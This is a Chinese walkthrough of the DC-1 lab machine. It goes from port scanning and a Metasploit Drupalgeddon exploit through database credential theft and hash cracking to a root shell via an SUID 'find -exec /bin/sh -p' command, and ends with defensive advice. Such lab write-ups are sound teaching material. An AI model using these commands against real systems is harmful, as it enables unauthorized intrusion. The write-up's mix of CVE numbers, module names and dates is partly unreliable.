从Drupalgeddon到SUID提权:DC-1靶机渗透测试实战全解析

发布时间:2026/6/24 19:29:47
从Drupalgeddon到SUID提权:DC-1靶机渗透测试实战全解析 1. 项目概述与靶机环境搭建DC-1是VulnHub上一个非常经典的入门级渗透测试靶机它模拟了一个基于Drupal内容管理系统的老旧服务器环境。对于很多刚接触渗透测试的朋友来说这个靶机就像一道精心设计的“开胃菜”它串联了从信息收集、Web漏洞利用、权限提升到最终获取Root权限的完整攻击链。我最近重新打了一遍一方面是温故知新另一方面也是想记录下一些实战中容易被忽略的细节和思考过程希望能给正在入门的朋友提供一个清晰的、可复现的参考路径。这个靶机的核心价值在于它没有设置过于刁钻的障碍而是将几个常见的、具有代表性的漏洞点串联起来。你不需要掌握什么“0day”或者高深的绕过技巧只需要扎实地运用信息收集、漏洞搜索与利用、基本的Linux提权手法就能一步步走到最后。整个过程就像解一个逻辑严密的谜题每一步的发现都为下一步提供了线索。下面我就以第一人称的视角带你完整地走一遍我从外部探测到最终拿到Root Shell的全过程。首先你得有一个攻击环境和一个靶机环境。我是在VMware Workstation Pro里操作的。攻击机我用的Kali Linux 2024.1这是渗透测试的标准装备里面集成了我们需要的所有工具。靶机DC-1的OVA文件直接从VulnHub官网下载导入虚拟机后网络模式我选择了“桥接模式”。这里有个关键点确保你的攻击机和靶机在同一个网段。桥接模式会让靶机像一台真实的物理机一样获取你局域网内的IP地址这样Kali才能直接扫描和访问它。如果你用了NAT模式可能需要额外配置端口转发对新手来说容易出问题所以桥接是最简单直接的选择。启动两台虚拟机后第一件事不是急着扫描而是先确定靶机的IP地址。因为DC-1默认不会显示IP我们需要在攻击机上把它找出来。最常用的命令就是netdiscover或者nmap扫描整个网段。sudo netdiscover -r 192.168.1.0/24或者如果你知道自己的网关可以更精确地扫描nmap -sn 192.168.1.0/24执行后在一堆熟悉的设备比如你的路由器、手机、电脑中寻找一个陌生的、主机名可能包含“DC-1”或者系统信息显示为Linux的IP地址。假设我们找到了靶机IP是192.168.1.105。记住这个IP它就是我们接下来所有攻击的目标。注意在实际的渗透测试授权项目中第一步永远是明确授权范围和目标。像这样对未知网络进行主动扫描仅限于你自己的实验环境。未经授权的扫描是违法的。2. 信息收集与漏洞初探拿到IP地址渗透测试的正式流程才算开始。信息收集是整个过程的基石目的是尽可能多地描绘出目标的“画像”它开放了哪些门端口、门上挂着什么牌子服务及版本、门后大概是什么房间应用类型。对于DC-1我们预期它是一个Web服务器所以Web端口80443是重点但也不能忽略其他可能的管理端口。2.1 端口与服务探测我习惯先用一个快速的全端口扫描来摸个底使用nmap的-p-参数扫描所有65535个端口并用-sV尝试识别服务版本。nmap -sV -p- 192.168.1.105 -oN nmap_fullscan.txt为了节省时间也可以先扫描最常见的1000个端口nmap -sV -sC 192.168.1.105 -oN nmap_initial.txt参数解释-sV: 版本探测告诉我们运行的是什么软件以及具体版本号这对后续查找漏洞至关重要。-sC: 使用默认的Nmap脚本进行更深入的探测可能会发现一些默认配置问题。-oN: 将扫描结果输出到一个文本文件中方便后续查阅。扫描结果很快就出来了通常会是类似下面这样PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.0p1 Debian 4deb7u7 (protocol 2.0) 80/tcp open http Apache httpd 2.2.22 ((Debian)) 111/tcp open rpcbind 2-4 (RPC #100000) MAC Address: 00:0C:29:XX:XX:XX (VMware)这个结果信息量很大22端口SSH服务运行的是OpenSSH 6.0p1。这是一个比较老的版本可能存在已知漏洞比如CVE-2016-0777, CVE-2016-0778我们可以记下来作为后续可能的突破口。80端口HTTP服务Apache 2.2.22同样是较旧的版本。更重要的是它告诉我们这是一个Web服务器主攻方向应该在这里。111端口rpcbind这是一个RPC端口映射服务有时能泄露系统信息或用于攻击但在DC-1中通常不是主要入口。2.2 Web应用指纹识别既然80端口开放下一步自然是用浏览器访问http://192.168.1.105。页面加载出来一眼就能看到是Drupal的站点。Drupal是一个强大的开源CMS但历史版本漏洞也不少。为了确认版本我们可以用一些方法查看页面源码在首页的HTML源代码里经常在meta标签或注释中找到生成器信息比如meta nameGenerator contentDrupal 7 (http://drupal.org) /。使用工具扫描在Kali里whatweb是一个快速识别Web技术的利器。whatweb http://192.168.1.105输出会显示类似Drupal[7.x]的信息并可能列出一些插件和主题。访问特定路径Drupal有一些默认路径比如/CHANGELOG.txt或/README.txt直接访问它们往往能直接看到版本号。访问http://192.168.1.105/CHANGELOG.txt你很可能看到“Drupal 7.x”之类的标题这就坐实了我们的判断。为什么确定版本如此重要因为所有的漏洞利用都是有针对性的。知道是Drupal 7.x后我们就可以去搜索这个系列版本存在的公开漏洞。Drupal 7在2015年曾爆出一个非常严重的漏洞——DrupalgeddonCVE-2014-3704它允许攻击者通过SQL注入远程执行代码。DC-1靶机正是为了复现这个漏洞链而设计的。3. 漏洞利用攻破Web防线信息收集阶段我们锁定了目标一个运行着老旧Drupal 7版本的网站。接下来就是寻找并利用它的脆弱点。对于Drupal 7.x首当其冲的怀疑对象就是Drupalgeddon漏洞。3.1 利用Drupalgeddon (CVE-2014-3704) 获取ShellDrupalgeddon漏洞的成因在于Drupal 7.x系列中数据库抽象层对数组的处理存在缺陷导致在expandedArguments函数中可触发SQL注入。这个漏洞影响范围极广且利用方式已经公开在Metasploit框架中就有现成的模块。使用Metasploit进行利用启动Metasploit控制台msfconsole搜索Drupal相关漏洞模块search drupal在结果中我们会找到一个名为exploit/unix/webapp/drupal_drupalgeddon2的模块这正是对应CVE-2014-3704的利用模块。使用该模块并设置参数use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.1.105 set TARGETURI / # 如果Drupal安装在网站根目录这里就是/ exploit如果一切顺利Metasploit会尝试利用漏洞并在成功后在目标服务器上上传并执行一个Payload通常是Meterpreter的PHP后门从而给我们返回一个Meterpreter会话。这时你就已经成功突破了Web应用的边界在Web服务器www-data用户权限的上下文里获得了代码执行能力。实操心得在实际利用时可能会因为网络环境或靶机状态导致一次不成功。可以多尝试几次或者检查RHOSTS和TARGETURI设置是否正确。如果Metasploit模块失效也可以在网上找到公开的Python利用脚本如drupalgeddon2.py手动执行攻击并上传一个简单的PHP Webshell。3.2 建立稳定连接与初步探索通过Metasploit拿到Meterpreter会话后第一件事是把它升级成一个更稳定的Shell并开始探索系统。获取标准Shell在Meterpreter会话中输入shell命令即可得到一个标准的Linux bash shell权限是www-data。探索当前环境whoami # 查看当前用户应该是www-data pwd # 查看当前目录通常在/var/www目录下 ls -la # 查看当前文件寻找敏感文件Drupal的配置文件settings.php是首要目标它里面通常包含数据库连接密码。这个文件一般位于/var/www/[site-name]/sites/default/settings.php。用cat命令查看它cat /var/www/[site-name]/sites/default/settings.php在文件中寻找$databases数组你会找到类似这样的行password R0ck3t,太好了我们拿到了数据库密码R0ck3t。数据库凭证是横向移动和深度渗透的宝贵资产。4. 权限提升从www-data到Root现在我们是一个低权限的www-data用户目标是拿到最高的root权限。在Linux系统中提权方法五花八门核心思路是寻找配置错误、利用有漏洞的服务、滥用高权限程序或利用内核漏洞。对于DC-1有一条非常清晰的路径。4.1 数据库渗透与用户密码破解我们手上有Drupal的数据库密码。Drupal的用户密码是经过哈希处理的但如果我们能进入数据库或许能找到其他有用的信息或者直接修改管理员哈希来登录后台。连接MySQL数据库mysql -u drupaluser -p提示输入密码时填入我们找到的R0ck3t。连接成功后就进入了MySQL命令行。查看数据库和表show databases; use drupaldb; -- 使用Drupal数据库名字可能在settings.php里 show tables;关键的表是users里面存储了用户信息。select name, pass from users;你会看到管理员用户通常是admin的密码哈希值以$S$开头的一长串字符。破解密码哈希Drupal 7使用的哈希$S$是基于SHA-512的强度很高直接破解可能很慢。但在CTF或老旧靶机中密码可能很简单。我们可以使用john或hashcat来破解。先把哈希值保存到本地文件hash.txt然后在Kali上运行john --formatdrupal hash.txt --wordlist/usr/share/wordlists/rockyou.txt或者使用hashcathashcat -m 7900 hash.txt /usr/share/wordlists/rockyou.txt运气好的话可能会破解出密码。但DC-1的设计中这一步可能不是必须的因为我们已经有了一个更直接的提权方法。4.2 利用SUID特权程序提权在Linux中有一种特殊的文件权限叫SUIDSet User ID。当具有SUID位的可执行文件被运行时它会以文件所有者的权限执行而不是执行者的权限。如果我们能找到属于root且设置了SUID位的程序并且这个程序能让我们以某种方式执行命令我们就能直接获得root shell。查找SUID文件在获取的shell中运行find / -perm -us -type f 2/dev/null这个命令会在整个文件系统/中查找所有设置了SUID位-perm -us的普通文件-type f并将错误信息2/dev/null丢弃使输出更清晰。在返回的列表中一个非常可疑的程序出现了/usr/bin/find。find命令本身是系统管理工具通常不需要SUID位。给它设置SUID并且所有者是root这显然是一个错误配置也是我们提权的绝佳机会。利用find命令的-exec参数提权find命令有一个-exec参数可以用来执行任意命令。因为当前find程序是以root权限运行的所以通过-exec执行的命令也将拥有root权限。/usr/bin/find . -exec /bin/sh -p \; -quit命令分解/usr/bin/find . 从当前目录开始执行find命令。-exec /bin/sh -p \; 对找到的每个文件在这里是.当前目录本身执行/bin/sh -p。-p参数在有些系统上用于保留特权模式。-quit 找到第一个结果后就退出这样我们只得到一个shell。执行上述命令后再输入whoami查看你会发现用户已经变成了root恭喜你已经成功夺取了系统的最高控制权。注意事项SUID提权是Linux系统配置不当的典型后果。在真实的安全评估中发现此类配置错误需要立即报告。系统管理员应定期使用类似find / -perm -us -type f 2/dev/null的命令进行自查移除非必要的SUID位。5. 最终收割与总结反思拿到root权限后最后一步就是寻找最终的flag在CTF中代表胜利的标志。在DC-1靶机中flag通常放在root用户的家目录/root或者一个显眼的位置。cd /root ls -la cat flag.txt 或者 find / -name *flag* 2/dev/null find / -name *.txt 2/dev/null | xargs grep -l flag你可能会找到最终的flag文件里面写着祝贺语标志着整个渗透测试的完成。回顾整个DC-1的渗透过程我们可以梳理出一个清晰的攻击链信息收集使用nmap扫描发现开放端口22, 80, 111通过访问Web页面和工具识别出Drupal 7应用。漏洞利用利用Drupal 7已知的高危漏洞CVE-2014-3704通过Metasploit或独立脚本获取一个低权限的Web Shellwww-data用户。横向移动在Web Shell中查找Drupal配置文件获取数据库密码。连接数据库尝试获取或破解用户凭证此步骤在DC-1中可能非关键路径但展示了标准流程。权限提升在目标系统上查找配置错误发现具有SUID特权的find命令。利用find命令的-exec参数执行/bin/sh从而将权限从www-data提升至root。后渗透以root身份寻找并读取最终的flag文件完成目标。从这次实战中我们可以总结出几点对防御方至关重要的教训及时更新Drupalgeddon漏洞在2014年披露影响巨大。运行任何服务尤其是Web应用框架和CMS必须及时关注安全更新并打上补丁。老旧、不受支持的版本是最大的安全隐患。最小权限原则Web服务如Apache应该以专用的低权限用户如www-data运行绝不能以root身份运行。数据库账户也应仅授予应用所需的最小权限。定期审计配置SUID/SGID位是强大的功能但也是危险的特权放大镜。系统管理员应定期审计系统中有SUID/SGID位的文件确保每一个都是必要的。像find、vim、nano、bash等命令绝不应该被设置SUID位。强化数据库安全使用强密码避免在配置文件中使用默认或弱密码。定期更换密码并限制数据库的远程访问。纵深防御不要只依赖一层防护。除了修补漏洞还可以考虑使用Web应用防火墙WAF、入侵检测系统IDS以及严格的网络访问控制策略增加攻击者的成本和难度。DC-1靶机虽然简单但它完美地诠释了一次成功的网络攻击是如何由多个环节的“小失误”串联而成的。对于学习者而言它是一份极佳的蓝图让你理解攻击者的思维和基本流程对于防御者而言它是一记响亮的警钟提醒你安全无小事任何一个环节的疏忽都可能成为整个防线崩溃的起点。